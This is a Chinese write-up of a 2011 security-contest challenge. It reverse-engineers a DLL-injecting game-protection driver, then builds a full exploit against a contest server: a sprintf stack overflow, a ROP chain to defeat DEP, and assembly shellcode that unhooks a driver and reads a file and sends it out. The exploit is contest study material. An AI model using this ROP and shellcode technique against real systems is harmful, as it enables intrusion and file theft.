我对《第三届360软件大赛--第一阶段题目》的解答

来源:互联网 发布:淘宝主图素材psd 编辑:程序博客网 时间:2024/05/17 20:30
1. 挑战1: Bug Hunting & Fix

1.1. 环境


① 所采用的操作系统为中文版Windows XP Professional SP3,已经通过http://update.microsoft.com/网站更新了所有的补丁。

② IE版本为:8.0.6001.18702

③ NOTEPAD.exe版本为:5.1.2600.5512。

④ 代码编译工具:VC++ 6.0 SP6;反汇编工具:IDA Pro 5.5;动态调试工具:WinDBG 6.12.0002.633

1.2. 360SafeGame.sys分析

1.2.1. 驱动初始化流程


① 在DriverEntry函数中初始化了_security_cookie,然后跳到sub_105F8函数中;

② sub_105F8函数生成了一个名为\Device\dev360GameDrv的设备,并为这个设备生成一个符号链接,名为“\DosDevices\360GameDrv”;符号链接如果生成成功,则调用sub_107E6函数,并进一步调用sub_10786函数;

③ sub_10786->sub_1240C->sub_1209E:在sub_1209E函数中,分配一段大小为0x2C的内存,部分成员如下所示:

        +0x00 Count;记录链表中有多少个成员
        +0x04 PERESOURCE;指向一个ERESOURCE结构,用于互斥修改InjectedProc链表
        +0x08 InjectedProc;一个List_Entry链表,记录每个已经注入DLL进程的信息

这一段内存地址存放在dword_12B54处,做为一个全局变量使用;

④ sub_10786->sub_1147C->sub_11398:sub_11398函数调用nt!PsSetLoadImageNotifyRoutine设置了一个回调函数sub_1169C,当进程映象被加载时,将会调用sub_1169C函数,下文将详细分析这个函数;

⑤ sub_10786->sub_1147C->ssub_11404:sub_11404函数调用nt!PsSetCreateProcessNotifyRoutine设置了一个回调函数sub_114B8。

1.2.2. DLL注入流程

■ DLL注入流程如下图所示:



接下来将分析其中牵涉到的函数

■ sub_1169C函数

做为回调函数,sub_1169C的参数为:

VOID
sub_1169C(
    IN PUNICODE_STRING FullImageName,//记录进程映象路径
    IN HANDLE ProcessId,//进程PID
    IN PIMAGE_INFO ImageInfo//
    )

其流程如下:

① 如果PID为0,退出;如果ImageInfo->SystemModeImage为1,说明是加载驱动,则退出,避免把DLL注到驱动中;

② sub_1169C->nt!ZwQueryInformationProcess:ProcessInformationClass设置为ProcessBasicInformation,获取到进程的PEB地址,从PEB中获取ImageBaseAddress,与ImageInfo->ImageBase比较,如果不同,说明进程EXE映象已经载入,正在载入的是DLL或其他映象,退出,避免重复注入;

③ sub_1169C->ssub_10CB2:将进程映象路径改为DOS路径。例如:\Device\HarddiskVolume1\WINDOWS\NOTEPAD.EXE将被转化为C:\WINDOWS\NOTEPAD.EXE;

④ sub_1169C->sub_12194(dword_12B54、ProcessId):该函数遍历dword_12B54->InjectedProc链表,如果其中某个结构体内记录的PID与ProcessId相同,返回该结构体地址(结构体分析见下文);没有相同的话返回0;

⑤ sub_1169C->sub_124BA(dword_12B54、ProcessId、进程DOS路径):新建进程时sub_12194必然返回0,所以将调用sub_124BA函数;

         ※ sub_124BA->sub_1205A(进程DOS路径):off_12944处记录了IE、NOTEPAD的路径,如果进程DOS路径与IE或NOTEPAD的路径相同则返回TRUE;不同返回FALSE,

         ※ sub_124BA->sub_1242C(dword_12B54、ProcessId、0):sub_1205A返回TRUE时调用。sub_1242C调用sub_12136分配一段大小为0x21的内存,记为Object360,部分成员如下所示:

                         +0x00 List_Entry;用于链接到dword_12B54->InjectedProc链表
                         +0x08 进程PID
                         +0x11 备份数据
                         +0x15 新数据写入地址
                         +0x19 数据长度
                         +0x1D 引用计数

           sub_1242C调用sub_1216C初始化结构体:设置PID、设引用计数为0。

         ※ sub_124BA:将新生成的Object360结构体加入到dword_12B54->InjectedProc链表中,增加dword_12B54->Count计数。

⑥ sub_1169C:增加进程Object360结构体引用计数;

⑦ sub_1169C->sub_11DC4(Object360、ImageBaseAddress、360SafeGame.dll路径):修改进程EXE文件、完成DLL注入是在sub_11DC4函数中完成的,以下重点分析此函数以及它调用到的一些重要函数。

■  sub_11A96函数

① sub_11A96函数遍历进程EXE的输入表,统计有多少个IID(IMAGE_IMPORT_DESCRIPTOR),计算360SafeGame.dll路径长度,然后由以下公式计算得出需要写入EXE的数据长度dwNewDataLength :

dwNewDataLength = IID数目 × sizeof( IID ) + 360SafeGame.dll路径长度 + 0xA8

如果这个长度大于0x1000则返回失败。

② 调用sub_11884寻找写入起始地址RVA,默认选择资源表起始地址RVA,如下图所示:


以0x1000大小对齐,如果资源表末端空隙能容纳写入数据的话,就将写入末端空隙,尽量避免影响EXE原有数据,如下图所示:


计算好写入起始地址和结束地址RVA后,遍历数据目录表中Export Table、Import Table、Exception Table、Security Table、Base relocation Table、Global Ptr、TLS、Local configuration、IAT 9个成员(其他成员不考虑),如果写入起始地址和结束地址都不在这些数据块区域内,则返回写入起始地址RVA,否则进行下一步选择。

遍历EXE的区块表,寻找一个不包含代码的区块,如果上面9个数据块的起始地址都不在这个区块中,返回这个区块的起始地址RVA,否则进行下一步选择。

遍历EXE的区块表,寻找一个不包含代码的区块,以0x1000大小对齐,如果这个区块末端空隙能容纳写入数据的话,就将写入区块末端空隙,计算写入起始地址RVA并返回,如下图所示:


如果所有不包含代码的区块的末端空隙都小,则再次遍历EXE的区块表,找到第一个不包含代码的区块就返回这个区块的起始地址RVA。

如果仍然还找不到就返回0了……

③ 找到了写入数据的起始地址RVA后,sub_11A96函数以 中计算好的dwNewDataLength 分配一段内存地址,记pNewData。从偏移0x7C处开始,复制原EXE输入表中的每一个IID,但mscoree.dll、msvcm80.dll、msvcm90.dll这三个DLL的IID不复制,只是把它们IID的RVA分别记录到+0x38、+0x3C、+0x40处(如果有的话);

④ 在pNewData偏移0x68处,为360SafeGame.dll构造一个IID,Test函数是360SafeGame.dll的一个导出函数,“Test”字符串复制到+0x46处,“C:\360SafeGame.dll”字符串复制到复制好的导入表后面,从sub_11A96函数返回时,pNewData中数据如下所示:

+0x00 0
+0x04 0
+0x08 0
+0x0C 0
+0x38 mscoree.dll IID RVA(IMAGE_IMPORT_DESCRIPTOR)
+0x3C msvcm80.dll IID RVA
+0x40 msvcm90.dll IID RVA
+0x44 0,占用一个word;360SafeGame.dll中Test函数的序数
+0x46 "Test"字符串;360SafeGame.dll中Test函数的名称
+0x58 写入数据起始RVA+0x44;指向+0x44
+0x5C 0
+0x68 写入数据起始RVA+0x58;OriginalFirstThunk,指向+0x58
+0x6C 0;TimeDataStamp
+0x70 0xFFFFFFFF;ForwarderChain
+0x74 "C:\360SafeGame.dll"字符串的RVA(在底下);Name
+0x78 写入数据起始RVA+58;FirstThunk,指向+0x58
+0x7C 原PE文件导入表,紧跟其后的是注入的DLL路径字符串:C:\360SafeGame.dll

■  sub_11DC4函数

① sub_11DC4函数接收sub_11A96函数返回的pNewData,新填入以下数据:

+0x10 原数据目录表地址
+0x18 原ImportTable起始RVA
+0x1C 原Bound Import 起始RVA
+0x20 原Bound Import 数据块长度
+0x24 原IAT 起始RVA
+0x28 原IAT 数据块长度
+0x2C 原COMdescriptor 起始RVA
+0x30 原COMdescriptor 数据块长度

② 分配大小为dwNewDataLength 的一段内存pBackupData,以写入数据的起始地址RVA计算得出实际地址,从中复制dwNewDataLength大小的数据到pBackupData,做为备份。pBackupData保存在Object360+0x11处,实际写入地址保存在Object360+0x15处,dwNewDataLength保存在Object360+0x19处。

③ 在pNewData偏移0x68处是360SafeGame.dll的IID,偏移0x7C处是复制好的原EXE的导入表,这两部分构成了一个新的导入表,将新导入表的RVA填入数据目录表中的Import Table中,由于360SafeGame.dll的IID是新导入表中第一个,所以进程初始化时,360SafeGame.dll将在ntdll.dll、kernel32.dll之后被加载,实现了DLL的注入!对数据目录表中的Bound Import和COM descriptor的RVA和大小都填为0。

④ 遍历EXE的区块表,如果原导入表在某个区块中,用这个区块的RVA和大小填充数据目录表中的IAT。

⑤ 把pNewData写入到EXE中,完成整个注入过程。

1.3. 修复360SafeGame.dll

① notepad退出原因

在sub_11884寻找写入起始地址RVA时,选取的是notepad资源表起始地址,计算得到的写入起始地址和结束地址都不在9个数据块区域中,所以sub_11884返回notepad的资源表起始地址RVA,在sub_11DC4函数中将pNewData写入资源表,覆盖了资源表原有数据,导致在执行以下语句时,因为无法从资源表里正确加载快捷键而退出:

.text:010045FF                 push    offset aMainacc ; "MainAcc"
.text:01004604                 push    esi             ; hInstance
.text:01004605                 mov     _hWaitCursor, eax
.text:0100460A                 call    ds:__imp__LoadAcceleratorsW;无法加载快捷键
.text:01004610                 cmp     _hWaitCursor, ebx
.text:01004616                 mov     _hAccel, eax
.text:0100461B                 jz      loc_10049AE
.text:01004621                 cmp     eax, ebx;EAX为0,退出notepad!NPInit,返回0
.text:01004623                 jz      loc_10049AE;

此时寄存器和函数调用堆栈为:

0:000> p
eax=00000000 ebx=00000000 ecx=7c80adb3 edx=00000051 esi=01000000 edi=77d19d69
eip=01004623 esp=0007fe28 ebp=0007fedc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
notepad!NPInit+0xbe:
01004623 0f8485030000    je      notepad!NPInit+0x449 (010049ae)         [br=1]

0:000> kp
ChildEBP RetAddr 
0007fedc 01002980 notepad!NPInit+0xbe
0007ff1c 01007511 notepad!WinMain+0x4a
0007ffc0 7c817077 notepad!WinMainCRTStartup+0x174
0007fff0 00000000 kernel32!BaseProcessStart+0x23

IE资源表末端可以容纳写入数据,但由此计算得出的写入起始地址和结束地址落在了Security Table数据块区域中,所以继续遍历区块表,找到一个不包含代码的.idata区块RVA做为写入起始地址。由于覆盖了.idata中的一些数据,导致IE无法正常显示界面。

② 360SafeGame.sys处理IRP_MJ_DEVICE_CONTROL的派发函数分析

在上文分析中提到,写入地址处原有数据在驱动中有备份:pBackupData保存在Object360+0x11处,实际写入地址保存在Object360+0x15处,dwNewDataLength保存在Object360+0x19处。在修复360SafeGame.dll时需要与驱动通信,从驱动中读取备份数据恢复。

360SafeGame.sys处理IRP_MJ_DEVICE_CONTROL的派发函数为sub_10514函数。当IO控制码为0x222004时,调用sub_106B4函数,传入参数为:_IRP->AssociatedIrp->SystemBuffer;

■  sub_106B4函数

调用sub_12194,返回当前进程对应的Object360结构体;

在dword_12B00处保存有控制码和对应的函数(在驱动中只有一个控制码0x12340002,对应的函数为sub_1253A),传入的SystemBuffer +0x00处记录控制码,当传入的控制码与dword_12B00处某一个控制码相同时,调用对应的函数。控制码必须大于0x12340000,小于0x12340100,方便以后扩充功能。

在sub_1253A函数中实现备份数据的复制:SystemBuffer 从0xC开始,存储三个指针,sub_1253A函数中把相关相关信息复制到这三个指针指向的用户态内存空间中,如下图所示:


③ 针对notepad、IE的修复

参见《[答案] 2011年 - 第三届360软件大赛题目 - 第一题标准答案》
http://hi.baidu.com/sudami/blog/item/8136d7458950632986947340.html

④ 针对托管代码的修复

参见《[答案] 2011年 - 第三届360软件大赛题目 - 第一题标准答案》
http://hi.baidu.com/sudami/blog/item/8136d7458950632986947340.html

2. 挑战2: 漏洞攻防 – Show me a token

2.1. 环境


服务端环境:

① 服务端所采用的操作系统为中文版Windows XP Professional SP3,已经通过http://update.microsoft.com/网站更新了所有的补丁;

② boot.ini文件系统启动选项设置了/noexecute=optin;

③ 关闭Windows自带的防火墙。

客户端环境:

① 客户端使用的操作系统为Windows 7 SP1 旗舰版。

② 代码编译工具:VC++ 6.0 SP6

③ 反汇编工具:IDA Pro 5.5

④ 动态调试工具:WinDBG 6.12.0002.633

2.2. 360Server.exe分析

2.2.1. main函数分析


① 

.text:00402898                 lea     ecx, [ebp+ProcName]
.text:0040289E                 push    ecx             ; lpProcName
.text:0040289F                 push    offset LibFileName ; "kernel32.dll"
.text:004028A4                 call    ds:LoadLibraryA
.text:004028AA                 push    eax             ; hModule
.text:004028AB                 call    ds:GetProcAddress
.text:004028B1                 mov     dword_414040, eax
.text:004028B6                 push    1
.text:004028B8                 call    dword_414040

ebp+ProcName处存放的字符串为SetProcessDEPPolicy,代码从kernel32.dll中获取SetProcessDEPPolicy函数的地址,存入dword_414040,调用SetProcessDEPPolicy(1),对360Server.exe启用永久DEP保护,因此在ROP中无法调用NtSetInformationProcess关闭360Server.exe的DEP保护。

② 

.text:004028D4                 call    ds:Start360Server
.text:004028DA                 call    ds:Helpyou

调用helper.dll的两个导出函数,对这两个函数的分析见“helper.dll分析”

③ 

.text:004029D0                 mov     [ebp+addrlen], 10h
.text:004029DA                 lea     ecx, [ebp+addrlen]
.text:004029E0                 push    ecx             ; addrlen
.text:004029E1                 lea     edx, [ebp+name]
.text:004029E7                 push    edx             ; addr
.text:004029E8                 mov     eax, [ebp+s]
.text:004029EE                 push    eax             ; s
.text:004029EF                 call    ds:accept
.text:004029F5                 mov     [ebp+var_6BC], eax
.text:004029FB                 cmp     [ebp+var_6BC], 0FFFFFFFFh
.text:00402A02                 jz      loc_402CEE

调用accept接受socket连接,套接字句柄保存在[ebp+var_6BC]中,在调用send函数回复消息时要用到,因此在覆盖缓冲区时要注意不能覆盖掉这个句柄。

④ 

.text:00402A15                 push    0               ; flags
.text:00402A17                 push    400h            ; len
.text:00402A1C                 push    offset buf      ; buf
.text:00402A21                 mov     edx, [ebp+var_6BC]
.text:00402A27                 push    edx             ; s
.text:00402A28                 call    ds:recv

调用recv接受消息,消息缓冲区为buf,地址为0x00414048

⑤ 

.text:00402A5E                 push    400h
.text:00402A63                 push    offset buf
.text:00402A68                 lea     eax, [ebp+var_5B0]
.text:00402A6E                 push    eax
.text:00402A6F                 call    memcpy ;
.text:00402A74                 add     esp, 0Ch
.text:00402A77                 push    5               ; size_t
.text:00402A79                 push    offset aPass    ; "PASS:"
.text:00402A7E                 lea     ecx, [ebp+var_5B0]
.text:00402A84                 push    ecx             ; void *
.text:00402A85                 call    _memcmp

0x00402A6F处调用memcpy,将接收到的消息复制到ebp+var_5B0处开始的栈空间里面;然后调用memcmp函数检测消息前5个字节是不是“PASS:”,如果不是的话回复“Hacker Attack”消息。

⑥ 

.text:00402A95                 mov     [ebp+var_5A6], 0
.text:00402A9C                 lea     edx, [ebp+FileName]
.text:00402AA2                 push    edx             ; lpFileName
.text:00402AA3                 mov     eax, [ebp+nBufferLength]
.text:00402AA9                 push    eax             ; nBufferLength
.text:00402AAA                 lea     ecx, [ebp+var_5AB]
.text:00402AB0                 push    ecx             ; char *
.text:00402AB1                 call    sub_402450

将消息的第0xA个字节置0(0x5B0-0x5A6=0xA),调用sub_402450函数,传入ebp+var_5AB、0x104、config.ini文件的全路径。ebp+var_5AB为消息的第0x5个字节(0x5B0-0x5AB=0x5),sub_402450函数的作用是对消息的第0x5~0x9个字节进行MD5加密,将加密后的字符串对比从config.ini文件[Authorization]中取出Passwd的值902B0D55FDDEF6F8D651FE1035B7D4BD,如果相等则返回1(验证成功),不相等则返回0(回复“Hacker Attack”消息后进入下一个消息接收循环)。通过MD5解密网站查询到,902B0D55FDDEF6F8D651FE1035B7D4BD解密结果是Error。

⑦ 

.text:00402AD5                 mov     [ebp+var_599], 0
.text:00402ADC                 mov     [ebp+name.sa_data+9], 0
.text:00402AE3                 push    offset aClient  ; "Client"
.text:00402AE8                 lea     eax, [ebp+var_5A1]
.text:00402AEE                 push    eax             ; char *
.text:00402AEF                 call    sub_402DD0
.text:00402AF4                 add     esp, 8
.text:00402AF7                 test    eax, eax
.text:00402AF9                 jz      loc_402BC8
.text:00402AFF                 push    30h             ; int
.text:00402B01                 lea     ecx, [ebp+var_4D0]
.text:00402B07                 push    ecx             ; char *
.text:00402B08                 call    sub_402DB0

将消息的第0x17个字节置0(0x5B0-0x599=0x17),函数sub_402DD0检测从ebp+var_5A1开始是否含有“Client”字符串。因此消息的第0xF~0x16个字节中必须包含有“Client”(0x5B0-0x5A1=0xF)。函数sub_402DB0检测从ebp+var_4D0开始是否含有0x30(字符‘0’),因此消息从第0xE0个字节开始必须包含有0x30。

⑧ 

.text:00402B14                 lea     edx, [ebp+var_598]
.text:00402B1A                 push    edx             ; int
.text:00402B1B                 lea     eax, [ebp+var_5A1]
.text:00402B21                 push    eax             ; lpString
.text:00402B22                 mov     ecx, [ebp+nBufferLength]
.text:00402B28                 push    ecx             ; nBufferLength
.text:00402B29                 lea     edx, [ebp+FileName]
.text:00402B2F                 push    edx             ; lpFileName
.text:00402B30                 call    sub_402600

调用sub_402600函数,传入config.ini文件的全路径、0x104、ebp+var_5A1(消息的第0x5B0-0x5A1=0xF个字节)、ebp+var_598(消息的第0x5B0-0x598=0x18个字节),下面将分析sub_402600函数。

2.2.2. sub_402600函数分析

① 从0x004026A8开始,调用GetPrivateProfileStringA函数从config.ini中取出Info2的值,存入ebp+var_500中,取出Info1的值,存入ebp+var_550中;调用WritePrivateProfileStringA函数,将消息中从第0xF个字节开始的字符串写入config.ini中的Info1,从第0x18个字节开始的字符串写入Info2(在main函数中传入的ebp+var_5A1、ebp+var_598)。

② 

.text:0040272B                 lea     eax, [ebp+var_500]
.text:00402731                 push    eax
.text:00402732                 lea     ecx, [ebp+var_550]
.text:00402738                 push    ecx             ; char *
.text:00402739                 lea     edx, [ebp+var_110]
.text:0040273F                 push    edx             ; char *
.text:00402740                 call    _sprintf

调用sprintf函数,将从ebp+var_500开始的字符串按照从ebp+var_550开始的字符串格式化后,写入从ebp+var_110开始的栈空间。漏洞就在这里!如果格式化后的字符串长度大于0x110的话,那么就会产生缓冲区溢出。

2.3. helper.dll分析

① Start360Server函数

Start360Server函数加载bprot.sys驱动,然后调用sub_414114B0函数,向驱动发送0x9C402400控制码。

② unHook函数

向驱动发送0x9C402404控制码。

③ Helpyou函数

无视

2.4. bprot.sys分析

处理IRP_MJ_DEVICE_CONTROL的派发函数为sub_108A8。

控制码为0x9C402400时,调用sub_104B6函数HOOK SSDT中的NtCreateFile和NtOpenFile两个函数,对应的HOOK函数分别为sub_104F6和sub_10592。在HOOK函数中,如果发现文件为\??\C:\360.txt,将返回0xC0000022(STATUS_ACCESS_DENIED)错误,这样将无法创建或打开C:\360.txt。

控制码为0x9C402404时,卸载NtCreateFile和NtOpenFile两个函数的HOOK,这样就可以正常创建、打开C:\360.txt。

2.5. 利用思路

综合以上的分析,利用思路如下:

① 在客户端调用send函数发送特定的消息,360Server.exe调用recv接收此消息,保存在buf中;在sub_402600函数里面,读取Info1(Client)和Info2(Login...),然后消息中从第0xF个字节开始的字符串写入config.ini文件的Info1,从第0x18个字节开始的字符串写入Info2;调用sprintf函数,此时格式化的是原config.ini文件的Info1(Client)和Info2(Login...),没有任何问题;进入下一轮消息处理;

② 在客户端调用shutdown函数关闭连接,360Server.exe调用recv,返回值为0,buf中的数据保持不变,仍然是上一次调用send函数发送的数据,这样仍然能进入到sub_402600函数里面;sub_402600函数读取Info1和Info2(此时读取到的是特定的消息),接下来调用sprintf函数格式化时,就可以产生缓冲区溢出,覆盖sub_402600函数的返回地址;

③ 通过ROP技术,调用VirtualProtect函数,设置消息缓冲区buf为可执行,因为buf的地址是固定的,而栈的地址可能会变;

④ 在shellcode中需要调用helper.dll的unHook函数去掉钩子,以便能读取C:\360.txt

⑤ 利用保存在[ebp+var_6BC]中的套接字句柄,回传C:\360.txt内容给客户端;

⑥ 平衡堆栈,让360Server.exe继续运行。

2.6. 消息格式

① 总结对main函数分析,能进入到sub_402600函数的消息格式需要满足:

前5个字节是“PASS:”;

第0x5~0x9个字节为Error;

第0xF~0x16个字节中必须包含有Client

从第0xE0个字节开始必须包含有0x30(字符‘0’);

如下图所示:


② 总结sub_402600函数分析:

消息中从第0xF个字节开始的字符串写入config.ini文件的Info1,从第0x18个字节开始的字符串写入Info2;如果Info1中包含%s ,也就是说Info1为“Client%s”,sprintf函数将把“Client”+Info2写入从ebp+var_110开始的栈空间(sub_402600函数的EBP)。


如上图所示,需要把sub_402600函数返回地址覆盖成ROP地址,则ROP地址应该位于Info2中的0x110+0x4-0x6=0x10E处。Info2为消息中从第0x18个字节开始的字符串,所以ROP开始的地址应该位于消息中0x10E+0x18=0x126处。

通过动态调试可以计算得到:main函数的EBP- sub_402600函数的EBP=0x6F8,由于不能覆盖[ebp+var_6BC]中的套接字句柄(main函数的EBP),所以覆盖字符串的长度不能超过0x6F8+0x110-0x6BC=0x14C,即:

“Client”+Info2长度 < 0x14C

Info2长度 < 0x146

因此消息中第0x18~0x15C个字节可以用于放置Info2(共0x145个字节),第0x15D个字节要置为0。

③ 利用ROP设置消息缓冲区buf为可执行后,要跳到shellcode处执行,由于shellcode中可能含有null字符,如果放到Info2的区域中,调用sprintf函数可能会截断,从而无法完成覆盖,因此可以把shellcode放到第0x15E个字节开始处,对shellcode中可能用到的参数,以及调用某些函数时需要传入的地址参数,使用消息末端的字节。

综合以上分析,设置客户端发送的消息长度为0x400,格式如下图所示:


2.7. ROP设计
bugvuln提到“利用helper.dll不但可以不费体力轻松过掉第2题的限制,而且通用性没得说,无视任何打没打补丁的XPSP3,甚至放到Win7都能获得文件内容 :) ”,完全利用helper.dll参见http://hi.baidu.com/kidebug/blog/item/b7b92e2f51f52ae899250aa7.html。以下ROP的内容仅供参考。
由于在main函数中调用SetProcessDEPPolicy(1),对360Server.exe启用永久DEP保护,所以无法调用NtSetInformationProcess关闭360Server.exe的DEP保护,但可以调用VirtualProtect函数,设置消息缓冲区buf为可执行,因为buf的地址是固定的,而栈的地址可能会变;

360Server.exe启动时加载的DLL如下:


ROP中用到如下版本的DLL:

advapi32.dll:5.1.2600.5755
gdi32.dll:5.1.2600.5698
kernel32.dll:5.1.2600.5781

ROP思路:将VirtualProtect函数的参数都XOR 0x950F0000,避免其中出现0,开始ROP时,EAX值为0,利用advapi32.dll和helper.dll中的两处代码将EAX设置为0x14,然后利用gdi32.dll 0x77F0BC89处的代码,将VirtualProtect函数的参数再一次XOR 0x950F0000,还原成真实的参数。

整个ROP过程如下:



2.8. shellcode设计

shellcode流程如下:

① 恢复EBP为main函数的EBP:进入shellcode时,将ESP加上0x6C0就是原main函数的EBP;

② 调用helper.dll导出函数unHook,去掉对NtCreateFile和NtOpenFile两个函数的钩子;

③ 调用CreateFileA,打开C:\360.txt,返回的文件句柄保存在0x00414440处;

④ 调用ReadFile,读取C:\360.txt内容,保存在ebp-5B0h开始的缓冲区中;

⑤ 调用CloseHandle,关闭文件句柄;

⑥ 调用send,利用[ebp-6BCh]处的套接字句柄,回传C:\360.txt内容给客户端;

⑦ 平衡堆栈,返回main函数继续执行:sub_402600函数返回地址为0x00402B35。

 

汇编代码如下:

lea ebp,[esp+6c0h];恢复为main函数的EBP

mov ebx,414114E0h;调用helper.dll导出函数unHook
call ebx;去掉驱动设置的HOOK

push 0
push 80h;FILE_ATTRIBUTE_NORMAL
push 3;OPEN_EXISTING
push 0
push 1;FILE_SHARE_READ
push 80000000h;GENERIC_READ
push 00414436h;C:\360.txt字符串地址
mov ebx,00410110h
call [ebx];CreateFileA

mov ebx,00414440h
mov [ebx],eax;保存文件句柄
push 0
push 414444h;读取到多少个字节
push 400h
lea ebx,[ebp-5B0h];用EBP-5B0做缓冲区
push ebx
push eax
mov ebx,00410008h
call [ebx];ReadFile

mov ebx,00414440h
push [ebx]
mov ebx,00410058h
call [ebx];CloseHandle

push 0
mov ebx,414444h
mov ebx,[ebx]
push ebx;读了多少字节就发送多少字节
lea ebx,[ebp-5B0h]
push ebx
push [ebp-6BCh];保存套接字句柄
mov ebx,00410154h
call [ebx];send

mov esp,ebp
sub esp,6f0h;平横堆栈,返回main函数继续执行
push 00402B35h;sub_402600函数返回地址为0x00402B35
ret



2.9. 客户端程序

客户端程序根据上面分析得到的消息格式构造消息,实现了手动输入IP地址的功能,创建套接字,发送、接收消息的代码来自MSDN,对接收到的消息直接调用printf("Bytes received: %d\n%s\n", iResult,recvbuf);按字符串输出。

2.10. 测试

① 服务端系统启动选择设置为/noexecute=optin,重启后拷贝题目程序到C盘根目录下,建立360.txt,内容为“第三届360安全软件大赛启动啦 苹果电脑等你赢”;

② 在控制面板中关闭XP自带的防火墙;

③ 运行360Server.exe,使用XueTr发现加载了驱动bprot.sys,并HOOK了NtCreateFile和NtOpenFile两个函数:


④ 在客户端运行Client.exe,成功显示服务端C:\360.txt的内容:


⑤ 服务端系统中NtCreateFile和NtOpenFile两个函数钩子已经去掉:


⑥ 服务端360Server.exe继续运行:


3. 参考资料

① PE文件格式:《加密与解密》第三版;
② ROP:Exploit 编写系列教程第十篇用ROP束缚DEP-酷比魔方,http://bbs.pediy.com/showthread.php?t=120952;

 

原创粉丝点击